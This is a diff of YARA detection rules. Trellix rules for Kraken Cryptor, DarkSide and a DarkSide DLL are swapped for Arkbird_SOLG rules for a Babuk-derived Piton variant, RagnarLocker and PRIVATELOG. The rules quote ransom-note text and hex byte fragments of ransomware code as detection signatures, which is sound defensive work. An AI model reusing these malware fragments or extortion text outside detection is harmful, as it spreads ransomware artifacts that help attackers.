-		description = "Rule to detect the ransom note delivered by Kraken Cryptor Ransomware"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "dec9d364-daf9-5a1d-8e72-ed4dd2aeecdf"
-		date = "2018-09-30"
-		modified = "2020-08-14"
-		reference = "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/fallout-exploit-kit-releases-the-kraken-ransomware-on-its-victims/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Kraken.yar#L66-L108"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "d4acdf0716320b0f757b8dbc97bb9d407460b2d69dc8e12292539e823be0f57d"
+		description = "Detect Piton variant (rebuild from the Babuk leaks)"
+		author = "Arkbird_SOLG"
+		id = "433d0692-553b-5efe-84e4-134e99342fe5"
+		date = "2021-11-03"
+		modified = "2021-11-04"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-04/RAN_Piton_Nov_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "cd8287b3be0f8f9338cf6ba8eb24dd9a6f91a54c984a635e1103f7e6028cbf3c"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/Kraken"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "71936bc3ee40c7ea678889d2ad5fa7eb39401752cd58988ce462f9d4048578ac"
+		hash2 = "77c7839c7e8d4aaf52e33a2f29db8459381b5cc3b2700072305a8bae5e0762a9"
+		hash3 = "ae6020a06d2a95cbe91b439f4433e87d198547dec629ab0900ccfe17e729cff1"
+		tlp = "white"
+		adversary = "RAAS"
 
 	strings:
-		$s1 = "No way to recovery your files without \"KRAKEN DECRYPTOR\" software and your computer \"UNIQUE KEY\"!" fullword ascii
-		$s2 = "Are you want to decrypt all of your encrypted files? If yes! You need to pay for decryption service to us!" fullword ascii
-		$s3 = "The speed, power and complexity of this encryption have been high and if you are now viewing this guide." fullword ascii
-		$s4 = "Project \"KRAKEN CRYPTOR\" doesn't damage any of your files, this action is reversible if you follow the instructions above." fullword ascii
-		$s5 = "https://localBitcoins.com" fullword ascii
-		$s6 = "For the decryption service, we also need your \"KRAKEN ENCRYPTED UNIQUE KEY\" you can see this in the top!" fullword ascii
-		$s7 = "-----BEGIN KRAKEN ENCRYPTED UNIQUE KEY----- " fullword ascii
-		$s8 = "All your files has been encrypted by \"KRAKEN CRYPTOR\"." fullword ascii
-		$s9 = "It means that \"KRAKEN CRYPTOR\" immediately removed form your system!" fullword ascii
-		$s10 = "After your payment made, all of your encrypted files has been decrypted." fullword ascii
-		$s11 = "Don't delete .XKHVE files! there are not virus and are your files, but encrypted!" fullword ascii
-		$s12 = "You can decrypt one of your encrypted smaller file for free in the first contact with us." fullword ascii
-		$s13 = "You must register on this site and click \"BUY Bitcoins\" then choose your country to find sellers and their prices." fullword ascii
-		$s14 = "-----END KRAKEN ENCRYPTED UNIQUE KEY-----" fullword ascii
-		$s15 = "DON'T MODIFY \"KRAKEN ENCRYPT UNIQUE KEY\"." fullword ascii
-		$s16 = "# Read the following instructions carefully to decrypt your files." fullword ascii
-		$s17 = "We use best and easy way to communications. It's email support, you can see our emails below." fullword ascii
-		$s18 = "DON'T USE THIRD PARTY, PUBLIC TOOLS/SOFTWARE TO DECRYPT YOUR FILES, THIS CAUSE DAMAGE YOUR FILES PERMANENTLY." fullword ascii
-		$s19 = "https://en.wikipedia.org/wiki/Bitcoin" fullword ascii
-		$s20 = "Please send your message with same subject to both address." fullword ascii
+		$s1 = { 68 38 3c 40 00 6a 00 68 01 00 1f 00 ff 15 c4 50 41 00 85 c0 75 11 68 58 3c 40 00 6a 00 6a 00 ff 15 98 50 41 00 eb 0a e9 b0 00 00 00 e9 ab 00 00 00 c7 45 a8 00 00 00 00 68 78 3c 40 00 8b 55 c8 52 8b 45 e8 50 e8 86 9b ff ff 83 c4 0c 0f b6 c8 83 f9 01 75 0c 8b 55 a8 52 e8 02 f9 ff ff 83 c4 04 e8 ea 94 ff ff ff 15 04 51 41 00 89 45 c0 83 7d c0 00 74 3f b8 41 00 00 00 66 89 45 f0 eb 0c 66 8b 4d f0 66 83 c1 01 66 89 4d f0 0f b7 55 f0 83 fa 5a 7f 1f 8b 45 c0 83 e0 01 74 }
+		$s2 = { 68 80 16 40 00 ff 15 38 50 41 00 89 45 f0 68 90 16 40 00 8b 45 f0 50 ff 15 34 50 41 00 89 45 fc 83 7d fc 00 74 07 8d 4d f8 51 ff 55 fc 6a 00 6a 00 68 b0 16 40 00 68 08 17 40 00 68 18 17 40 00 6a 00 ff 15 4c 51 41 00 e8 9d 03 00 00 85 c0 74 2d 68 24 17 40 00 ff 15 38 50 41 00 89 45 ec 68 34 17 40 00 8b 55 ec 52 ff 15 34 50 41 00 89 45 f4 83 7d }
+		$s3 = { 81 ec f4 02 00 00 c7 85 7c ff ff ff 90 15 40 00 c7 45 80 98 15 40 00 c7 45 84 a0 15 40 00 c7 45 88 a8 15 40 00 c7 45 8c b0 15 40 00 c7 45 90 b8 15 40 00 c7 45 94 c0 15 40 00 c7 45 98 c8 15 40 00 c7 45 9c d0 15 40 00 c7 45 a0 d8 15 40 00 c7 45 a4 e0 15 40 00 c7 45 a8 e8 15 40 00 c7 45 ac f0 15 40 00 c7 45 b0 f8 15 40 00 c7 45 b4 00 16 40 00 c7 45 b8 08 16 40 00 c7 45 bc 10 16 40 00 c7 45 c0 18 16 40 00 c7 45 c4 20 16 40 00 c7 45 c8 28 16 40 00 c7 45 cc 30 16 40 00 c7 45 d0 38 16 40 00 c7 45 d4 40 16 40 00 c7 45 d8 48 16 40 00 c7 45 dc 50 16 40 00 c7 45 e0 58 16 40 00 c7 45 fc 00 00 00 00 c7 45 e4 78 00 00 00 c7 45 e8 00 00 00 00 c7 45 f4 00 00 00 00 eb 09 8b 45 f4 83 c0 01 89 45 f4 83 7d f4 1a 7d 35 8b 4d f4 8b 94 8d 7c ff ff ff 52 ff 15 f8 50 41 00 83 f8 01 75 1d 8b 45 fc 8b 4d f4 8b 94 8d 7c ff ff ff 89 94 85 14 ff ff ff 8b 45 fc 83 c0 01 89 45 fc eb bc b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff 68 00 00 01 00 e8 00 e8 00 00 83 c4 04 89 45 f8 83 7d f8 00 0f 84 d4 00 00 00 68 00 00 01 00 e8 e6 e7 00 00 83 c4 04 89 45 ec 83 7d ec 00 0f 84 ae 00 00 00 68 00 80 00 00 8b 4d f8 51 ff 15 08 51 41 00 89 45 f0 83 7d fc 00 76 63 8d 55 e8 52 8b 45 e4 50 8d 8d 0c fd ff ff 51 8b 55 f8 52 ff 15 f4 50 41 00 85 c0 74 26 8d 85 0c fd ff ff 50 ff 15 40 50 41 00 83 f8 03 75 14 b9 02 00 00 00 6b d1 00 33 c0 66 89 84 15 0c fd ff ff eb 22 8b 4d fc 83 e9 01 89 4d fc 8b 55 f8 52 8b 45 fc 8b 8c 85 14 ff ff ff 51 ff 15 44 50 41 00 eb 02 eb 1b 68 00 80 00 00 8b 55 f8 52 8b 45 f0 50 ff 15 00 51 41 00 85 c0 0f 85 7a ff ff ff 8b 4d f0 51 ff 15 fc 50 41 00 8b 55 }
 
 	condition:
-		uint16(0)==0x4120 and filesize <9KB and all of them
+		uint16(0)==0x5a4d and filesize >30KB and all of them
 }
-rule TRELLIX_ARC_RANSOM_Darkside : RANSOMWARE FILE
+import "pe"
+
+rule ARKBIRD_SOLG_Ransom_Ragnarlocker_July_2020_1 : FILE
 {
 	meta:
-		description = "Rule to detect packed and unpacked samples of DarkSide"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "ecbee92f-236a-5385-9566-502ef1c0aeda"
-		date = "2020-08-11"
-		modified = "2023-07-27"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Darkside.yar#L1-L23"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "be16d65911336809be103ea667167228e6445de85fd47ecd9ff8b3d91e056693"
+		description = "Detect Ragnarlocker by strings (July 2020)"
+		author = "Arkbird_SOLG"
+		id = "9291ed33-8d7d-5b88-9075-b847fdbab179"
+		date = "2020-07-30"
+		modified = "2020-07-30"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-30/Yara_Ransom_Ragnarlocker_July_2020_1.yar#L3-L34"
+		license_url = "N/A"
+		logic_hash = "73d3be9a2d3b315ed6d3d93e2c6f9988d60234530b0398e8949c511f919a8954"
 		score = 75
-		quality = 70
-		tags = "RANSOMWARE, FILE"
-		rule_version = "v1"
-		malware_type = "ransomware"
-		malware_family = "Ransom:W32/DarkSide"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
-		hash1 = "9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297"
+		quality = 23
+		tags = "FILE"
+		hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87"
 
 	strings:
-		$pattern_0 = { CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558BEC5053515256570FEFC0660FEFC033DB8B7D088B450C33D2B910000000F7F185C0740B0F110783C7104885C075F585D27502EB5892B908000000F7F185C0740B0F7F0783C7084885C075F585D27502EB3B92B904000000F7F185C0740A891F83C7044885C075F685D27502EB1F92B902000000F7F185C0740B66891F83C7024885C075F585D27502EB02881F5F5E5A595B585DC20800558BEC5053515256578B750C8B7D088B451033D2B910000000F7F185C074110F10060F110783C61083C7104885C075EF85D27502EB6892B908000000F7F185C074110F6F060F7F0783C60883C7084885C075EF85D27502EB4592B904000000F7F185C0740F8B1E891F83C60483C7044885C075F185D27502EB2492B902000000F7F185C0740E66891F83C60283C7024885C075F285D27502EB048A1E881F5F5E5A595B585DC20C00558BEC53515256578B4D0C8B75088B7D1033C033DBAC8AD8C0E80480E30F3C0072063C09770204303C0A72063C0F7702045780FB00720880FB09770380C33080FB0A720880FB0F770380C35766AB8AC366AB4985C975BE6633C066AB5F5E5A595B5DC20C00558BEC53515256578B75088B7D0C55FCB2808A0683C601880783C701BB0200000002D275058A164612D273E602D275058A164612D2734F33C002D275058A164612D20F83DB00000002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C074068BDF2BD88A03880747BB02000000EB9BB80100000002D275058A164612D213C002D275058A164612D272EA2BC3BB010000007528B90100000002D275058A164612D213C902D275058A164612D272EA568BF72BF5F3A45EE94FFFFFFF48C1E0088A06468BE8B90100000002D275058A164612D213C902D275058A164612D272EA3D007D000083D9FF3D0005000083D9FF3D8000000083D1003D8000000083D100568BF72BF0F3A45EE9FEFEFFFF8A064633C9C0E801741783D1028BE8568BF72BF0F3A45EBB01000000E9DDFEFFFF5D2B7D0C8BC75F5E5A595B5DC20800558BEC53515256578B7D088B450CB9FF00000033D2F7F185C074188BD868FF00000057E8AD00000081C7FF0000004B85DB75EA85D274075257E8970000005F5E5A595B5DC20800558BEC5351525657B9F0000000BEB2B640008B45088B108B58048B78088B400C89540E0C89440E08895C0E04893C0E81EA101010102D1010101081EB1010101081EF1010101083E91079D533D233C98B750C33DB8B7D108A81B2B6400002141E02D08AA2B2B64000438882B2B6400088A1B2B640003BDF7306FEC175DAEB0633DBFEC175D25F5E5A595B5DC20C00558BEC535152565733C0A3C2B84000A3C6B84000B9400000008D35B2B640008D3DB2B74000F3A58B7D088B15C2B840008B4D0C8B1DC6B840004F33C0029AB3B740008A82B3B740008AABB2B740008883B2B7400088AAB3B7400002C5478A80B2B74000FEC23007FEC975D18915C2B84000891DC6B840005F5E5A595B5DC2080053515256578D35047040008D3DCAB84000FF76FC56E891FEFFFF56E8864500008BD8FF76FC56E888FBFFFF8B46FC8D3406B915000000E85C010000AD5056E868FEFFFF56E85D4500008BD8FF76FC56E85FFBFFFF8B46FC8D3406B93D000000E833010000AD5056E83FFEFFFF5256E8334500008BD85AFF76FC56E834FBFFFF8B46FC8D3406B915000000E808010000AD5056E814FEFFFF5256E8084500008BD85AFF76FC56E809FBFFFF8B46FC8D3406B904000000E8DD000000AD5056E8E9FDFFFF5256E8DD4400008BD85AFF76FC56E8DEFAFFFF8B46FC8D3406B906000000E8B2000000AD5056E8BEFDFFFF5256E8B24400008BD85AFF76FC56E8B3FAFFFF8B46FC8D3406B901000000E887000000AD5056E893FDFFFF5256E8874400008BD85AFF76FC56E888FAFFFF8B46FC8D3406B903000000E85C000000AD5056E868FDFFFF5256E85C4400008BD85AFF76FC56E85DFAFFFF8B46FC8D3406B901000000E831000000AD5056E83DFDFFFF5256E8314400008BD85AFF76FC56E832FAFFFF8B46FC8D3406B902000000E8060000005F5E5A595BC3ADFF76FC56E80AFDFFFF515653E8F743000059ABFF76FC56E8FFF9FFFF8B46FC8D34064985C975D8C3558BEC81EC1401000053515256578D85ECFEFFFF50FF1516B940008BB5F0FEFFFF8BBDF4FEFFFF83FE05750583FF01720583FE057313B8000000005F5E5A595B8BE55DC3E9DA00000083FE05751883FF017513B8330000005F5E5A595B8BE55DC3E9BD00000083FE05751883FF027513B8340000005F5E5A595B8BE55DC3E9A000000083FE06751785FF7513B83C0000005F5E5A595B8BE55DC3E98400000083FE06751583FF017510B83D0000005F5E5A595B8BE55DC3EB6A83FE06751583FF027510B83E0000005F5E5A595B8BE55DC3EB5083FE06751583FF037510B83F0000005F5E5A595B8BE55DC3EB3683FE0A751485FF7510B8640000005F5E5A595B8BE55DC3EB1D83FE0A750583FF00770583FE0A760EB8FFFFFF7F5F5E5A595B8BE55DC3B8FFFFFFFF5F5E5A595B8BE55DC3558BEC83C4F853515256576A0068800000006A026A006A006800000040FF7508FF1526B940008945FC837DFCFF74226A008D45F850FF7510FF750CFF75FCFF1536B9400085C07409FF75FCFF153EB940005F5E5A595B8BE55DC20C008BFF558BEC5351525657837D0C0074728D3DAABA4000837D100075086A1057E842F8FFFFFF750CFF750868EFBEADDEFF15F6B84000FF750CFF750850FF15F6B840003107FF750CFF750850FF15F6B84000314704FF750CFF750850FF15F6B84000314708FF750CFF750850FF15F6B8400031470CB8AABA40005F5E5A595B5DC20C00B8000000005F5E5A595B5DC20C00558BEC5351525657FF7508FF15DEB8400083C4048BD88D045D02000000506A00FF35AEB64000FF15BEB940008BF085F67434FF750856FF15CEB8400083C4088D43016A006A0050FF75086AFF566A006A00FF1506BA4000566A00FF35AEB64000FF15C6B940008BC35F5E5A595B5DC2040053515657833DBABA400000750B68BABA4000FF15F2B8400068BABA4000FF15F2B840008BD15F5E595BC3558BEC5351525657BB080000008B7508E8C1FFFFFF83FB05750433C033D28944DEFC8954DEF84B85DB75E55F5E5A595B5DC204008D4000558BEC81EC0001000053515256578D45B083C00F83E0F089850CFFFFFF8D8560FFFFFF83C00F83E0F0898508FFFFFF8D8510FFFFFF83C00F83E0F0898504FFFFFF837D14000F84750300008BB504FFFFFF0F57C00F11060F1146100F1146200F1146308B75088BBD0CFFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F30837D1440732A8B4510898500FFFFFF8B9504FFFFFF8BFA8B750C8B4D148A440EFF88440FFF4985C975F389550C8955108BB50CFFFFFF8BBD08FFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F305556BD0A0000008B078B5F108B4F208B57308BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C68907895F10894F208957308B47148B5F248B4F348B57048BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894714895F24894F348957048B47288B5F388B4F088B57188BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894728895F38894F088957188B473C8B5F0C8B4F1C8B572C8BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C689473C }
-		$pattern_1 = { 70211F3B6E97C50000473D000000A000004602003EBBFF1F92CC558BEC5053515256570FEFC0660333DBFBFFEDFF8B7D088B450C33D2B9100000F7F185C0740B0F110783C710480A692EFB7F75F585D27502EB5892B9081C7F08B60F592E3B040A891F38049B641979F61F02661CD6FEBFEC023802881F5F5E5A595B585DC25D977E20634F8B750C9110110F1006252383FD94C61097EF6819AC59BA226F7F089DEFD8EE0119450F8B1E82C604A23E033232F1240EC602B9EC91C1A5F2048A1EA70CA12CCBD9A64D757D42E9FEFFBFAC8AD8C0E80480E30F3C0072063C09770204303C0A090FB66F6DBB5780FB140804150380C3300C0ADADFFE790F5766AB8AC3034985C975BE6646FF252CD6096564610C55FCB2806FDF86DB8A069701887801BBAD0299058A164FD62EFB4612D273E60A4F430C0F83DB7F2A7B602613C00A74068BDF2BD821EC63DB8A03644762EB9BB80142900BFBFB72EA2BC3BB1C7528B923C96F7FFB1F568BF72BF5F3A45EE94D01D248C1E008C3468BE8DE1EC26E0C0449303D007D4B83D9FF0DD93CD907058000D100BDB01BF250F04C33C974017417B1D8B0B61902561B96204B06E1C25D2B398BC75208111AEE18EDB9FF2660F4F8EFDDF7188BD8680E579B03D981C70B4B85DB75EAEE94CD5EFE7407521546B9F0256F7F6BB7BE02A6B24D50108B58048B7807400C895FF7FFDB540E03440E08895C0E04893C0E81EA10002D048168ED9FB1EB05EF83E91079D57EC0DFFFFDE4EC80108A814A02141E02D08AA20A436BFFBFDF88820688A1053BDF7306FEC175DAEB062C076E0B29A3D227F8A327A8C27DFBEDFE04C6B940998D35378D3D05A7B2F3A57DBC8FF7F31520B41D242A9A1BFB8DDD1CB38A8205AB28888305AA11D88DFFFE02C5478A800EFEC23007FEA0D189402F9684D8893D0D7C6BF07BF8CF6004A8CAFF76FC5630040549FF33FFDBAC59109C0C8B46FC8D3406B9150F477291BD05F0AD50283D52C252D961295A532A02B902BB04550608B902B90103E10843260299C3AD8615B2BF2751565333F959AB329FE0EEF874D8C33F81EC1468C885ECFE7777DFF0FFFF50FF4FA9168BB5F00C8BBDF40583FE055877F74BA483FF017205097313B86D00695BF36DFA8BE55DC36C073C2118751C3300D21C210234DF04D2FD06751785FF1B3C1555109AC11EC8B83DEB6A19023EA419644250033FC866DE2636690A75141864FECDEE4C1DDE00770A760EB8FFFFFF7F1B927C490DFF3083C4AEFD7A84F82D6A0068976A02080AFE8FB07509405A083B268945FC837DFCFF7422916D73DF188D45F85072020C1DFC34ECB0AE3672090C3E59746B43DACC8BFFCE3C0D7472E1AD44FB51AAAA0B04576A1057BC67BF3F16470868EFBEADDE3FA8F6105090BDB0670C31070E47040F92F50EC9080CB8624E071B5913D85CD6A8DE6D1FDF6AF9E4D88D045D6D50DAFF58F78F7D63AEC6BE8BF085F6743429562ADDDCE1CBCE088D430119FDBDFF56B027ECEF0A1AAA065639C68BC37077FB9C630484FAF4BAF10B6807A31DB0B14CF20A8BD12DE09A3871989ABBFD24E84013CB376608A783FB048DD2D90317B87FDEFC87DEF8C4E55D49C628308D17EE000DC32FF145B083C027E0F089850CE3FD202387B960051108102B99FE37040B7D14000F8475C41E0FA6DBC5F60F571C119846100320ED17EF8930B1BD4EB0104E17D32CDBCB1056105E3026074F57CDE6E26E5F304840732AE457008B6FF017BF954D8BFAFB4D148A3FFF88447B6DFBD30FFFA3F389550C02106E5359FDF0A964085556BD0A14078B5F6FFFDFBE354F208B5792F003F2C1C60733DE8BF303F0080933CEED2FFFF28BF103F30D33D68BF203F11233C68907892ECBB26D96898947143A243404CBD612202F3B24342CCBB22C0428380818CBB25C802838081820CBB22C3C0C1C2CDFB22C173C0C1C2CED0463476063760CED04750C53606363ED187510ED18D80863637510ED2C6424ED3036C2142C6524ED30234C818D6538ED3065386DA30DFC4D85ED0F851B975E5DF30702CBE5726BC80357105F1867206FB6022F972877307F380F0C024EE572B9DC1EFE56FE5EFE66FE6EA6D996CBFE76FE7E7F3D7F7F94A6699A7F7F7F7F7F9AE5C8708D6B5757575D8C966B57BED8FE2011BFE4B834118B9DA7274320837B2086F1B195000824E977EF1866C335DB32C500E4B2BD154E8B55BA338942200524B5655BFA24EB16831940030C6D370297C0237485CAFC86C21297EE1A818880308D7D80F3B920B16FE21DF2F3ABB900DF518D7580F810CD33E7FED1168D7604E2F92175128B06194DA6ECED078D7F17F473181911C9600933C441290CD5BB0A5B5B59F033E476B05505E00CEDAA9BBDB266E03AA5D908A6BFB960DDDFFCDD4FE0C64580018BA98F7EF05D0C81C379B981A849B1BE07D84150F8510851FC8DAB8360115F547B8D626FADBB1D508D3B50E874D3815240D3E0BF6563F02203740F9908199BBB4B1961646306AE9B780C830627307DC7E63041B73BDB06F8410ECB8A369391B8D51A68A41F000B8278E2C406CE1F0926023676729008AA12F80C1A24446B4B22170E54206317F226F8C37EF45B18B8C3F8EF238B71C65E4E62F475F8F46A0514066C737F01CE04EB43EB3F3D310A1B1CB5D84CD837C2EBC60D2C5A839117A1C12C4468F7BBA5196AD2C86AD6616CDBD8288E2E33ED3CAD1D14C3999178FF733C02CA74D72E71A1A14402EBFC1C332275D4565858CA5D4F846D35570F06E6AC62895FE9BF454B183B480875278D1F30AABEC220586C3BEA0F2C3A0E186BD5E850C63826070017E40793C5F30C0262CC0D776B110D6F68081017F4FDDD58B2C77568040110976256A3D8B3C4B2CC11D3D23DE2DB4636F677FC57FB571F34102048BC03A1088DA3ADD5456CD8C2BE227A30C3A3B18D922A9B1C2C6A9BDB095B62106E38E18B5E12C37BD86CB0403753132F6E56A573B367B10FBC59A8EE97CD409E848530675464A1183064849F924030C31A2C72E1248313F88D1DCF6C125B166CECFC53EC531BB519E4027936286BC0D263936C0F6A245FD4C70B24B15766738C09E89B4A2C585392A89C53325426816407AA7E5111040C8D9913E810EF52A937B527344930AA660C5E017648727CC960E3F07304ADA50B27ACDB8F2D60F0B5833EAF15107A641F05D019EBCCCBACDD2578763D4FA9744A4A0FFC0618E9E3147A6517C1293AECB517D9F88B122E0146336C2CD67D7C5224760B1D0E08506FC8096E7ACA96504FB6B1B1463FD3A6521911F424E1FC5A0142A91AD9A722EC3EEE6B18B26B1C3D7DB1D75EAFFC8D7531831C8535BF8E68EB803FAA5219367958D984534FBE3C1B690664B0B03CCC09209966A401B44050C83336C9ECA29D0004D88465B109215A244576CF58C96AF0346AF4AE9D3DB360BC0E3989C005A9247508F153A7A564036F644553F675A3D4253BAC3956120C5AEBE66EC682D922722568F4C058B36FD730DAEDB57D14450DAA0BD716168151969EAE69921D76C8D85E08626E130C9C11C00D07C160C7846481EDFF72C8A1BDE3DF9F813C18DEADBEEF980340EBF2C631F9EC4E04136DA456A4A1FC8EAC7E73C8C1E0068BD82373CCBB46C6DE01B16A1630408086A44CB2810B2C2F3616500A17F3DE5F0BAB8EAEA556561FFBE5B2F6150A374D358D83E6070A67B303593A5A56223D5A89E4C8254EB60FE492B3D95E56223D5E4FD9EC447286176256223D223972C96250561FB9E46C766656223D6641363B911C26276A56223D488E5C726A51F62E72362B90C7223D6E9D488E5C52C6367256472E399B223D724B963E9CCD4E247656223D7627922397537E427A56964BCE66223D7A545890672269727E72CCA759E47E0AC8A912678203C11A01B23557FBC2E08A53D968243106BE91ACB86472A8C319698152773D833C038C907C420BB3345B061008091C095EE251887010EBDE251B5A160CE0FD66B80904A10B9566ABE74C161266A4D19EE614ECA72DE3F8DC0F84A129461DF421D89E3DE828139F83DA062D4FEEF350ECD3AEFCF6EB6399F833D285D255B390DB6BFDC90530940107A842EB14BB162E2CC12B8B1BD4CB4D33C9192BFFAE400830040E4183F9080E04AC5F713904576A57014C7042E2C8681122C63664F381D8ED9E70B470B8182C883DA58E0EFFE62C080B5B180C256C469348D2C1B408AC1CEC840704300A44AA0EBBB6044381DC0C4BA62EEA1D487CDA4AE10E58D4DC194871F43A5F5DB37064FBF086F034798B83C9A26B096057B0571E7F83172666FD47FE5CFA66C704475C00D565F15702444702D9EB3D62598B151A11EA0B3531B614F06592BA0E46348A5D3932DAC81B1A386C90410C03802C26E0B1CCCD19502B1B035C4379AA3ACD09D534968523BBEB6953CCECBFEC511DB68B27C8F4CB75EC39326FD94ED2820BEB1E27F41821E12E7548293B02750759AC12C23B9616FF57C6082997A5EC1C846C4EC80C6D026D0630968DE46D06251CA43358A41AF84F9CD06CEBA91B5C107EDA562CE1F7C049A5AE83702B0CCB523367A364CD46000B08DD35AD8C91877A08E63C5798CC25C3AC9C86AD927DC615A3A3DC53E7CA217946B6431A1010E864489E911414F0183891906718F8A44D6148561EEBA0D3363ACC9DD08BC8C45110BA36D092BA42CE140510960626A37C49D0736C658C67F0524156E89E609103 }
+		$f1 = "bootfont.bin" fullword wide
+		$f2 = "bootmgr.efi" fullword wide
+		$f3 = "bootsect.bak" fullword wide
+		$r1 = "$!.txt" fullword wide
+		$r2 = "---BEGIN KEY R_R---" fullword ascii
+		$r3 = "!$R4GN4R_" fullword wide
+		$r4 = "RAGNRPW" fullword ascii
+		$r5 = "---END KEY R_R---" fullword ascii
+		$a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii
+		$a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide
+		$a3 = "WinSta0\\Default" fullword wide
+		$a4 = "%s-%s-%s-%s-%s" fullword wide
+		$a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide
+		$c1 = "-backup" fullword wide
+		$c2 = "-force" fullword wide
+		$c3 = "-vmback" fullword wide
+		$c4 = "-list" fullword wide
+		$s1 = ".ragn@r_" fullword wide
+		$s2 = "\\notepad.exe" fullword wide
+		$s3 = "Opera Software" fullword wide
+		$s4 = "Tor browser" fullword wide
 
 	condition:
-		$pattern_0 or $pattern_1 and filesize <5831344
+		uint16(0)==0x5a4d and filesize <30KB and (pe.imphash()=="2c2aab89a4cba444cf2729e2ed61ed4f" and ((2 of ($f*)) and (3 of ($r*)) and (4 of ($a*)) and (2 of ($c*)) and (2 of ($s*))))
 }
-rule TRELLIX_ARC_RANSOM_Darkside_DLL_May2021 : RANSOM FILE
+rule ARKBIRD_SOLG_MAL_PRIVATELOG_Sep_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Darkside Ransomware as a DLL"
-		author = "TS @ McAfee ATR"
-		id = "e9d64637-dc8f-5650-81e1-34e27e6ee912"
-		date = "2021-05-14"
-		modified = "2023-07-27"
-		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Darkside.yar#L26-L47"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "f587adbd83ff3f4d2985453cd45c7ab1"
-		logic_hash = "39930b6f352642647ea6b80f941201b93d6a9defd42cb75f9e4f7239ff17a4ec"
-		score = 75
-		quality = 70
-		tags = "RANSOM, FILE"
-		rule_type = "Public"
-		rule_version = "v1"
-		malware_type = "Ransom"
+		description = "Detect PRIVATELOG malware"
+		author = "Arkbird_SOLG"
+		id = "fa122d77-0bac-5836-85fd-b096660f7412"
+		date = "2021-09-01"
+		modified = "2021-09-05"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_PRIVATELOG_Sep_2021_1.yara#L1-L22"
+		license_url = "N/A"
+		logic_hash = "4df78bc3005c67d467a0999751bf4fb42ff9075f1601d51ab3b2b88e5dc38f6e"
+		score = 50
+		quality = 50
+		tags = "FILE"
+		hash1 = "1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c"
+		hash2 = "b9d4ec771a79f53a330b29ed17f719dac81a4bfe11caf0eac0efacd19d14d090"
+		level = "experimental"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$s1 = "encryptor2.dll" wide ascii
-		$s2 = "DisableThreadLibraryCalls" wide ascii
-		$s3 = "KERNEL32.dll" wide ascii
-		$pattern1 = {D24DC8855EDD487B3CD2D545F11031E1FA85C2F2440712445F67D105B326533A77BA75B3383A98CE97EAA2B95798DCFA6B75B5573662F9ED5DC9B7D2E582FD94104E210F3EA62A1826B26B952FFBD5A70A97E6EC3D14794577A2980A0ED1EE02CA291623DD3721A7E68223EDA56F9E1325FE36E191D5C41F7227D55EDC3D5B9359C819}
-		$pattern2 = {87FC982E066F585B73D417C0D5F75B86B9F9F8286B4CC42BB2053912D595A68C07C0EDD0159AC785880C5483E246D3501F6523D05078B9B7510711423948D4CB367C83C0833BD04AD6DC655E1BEEA38770470BB48B6EBA70944E952526E4D87A03BAA485D7B4DA1318A00EF07FA76C0D}
-		$pattern3 = {1B6F099F1C3C62BBF5543FA03B919C7BF5E477D256CE79D98C55ACE8D69CDC9373B2F0A2B51414776D5226B74BF9A7CB935C9DD04BCFC19FC81418F7A39244A730697E1BC05418BF41DE50E4C8609533591CE80617D476E686B36CF2AE914CB3AFD720A33C0D5DE438F1CD0B}
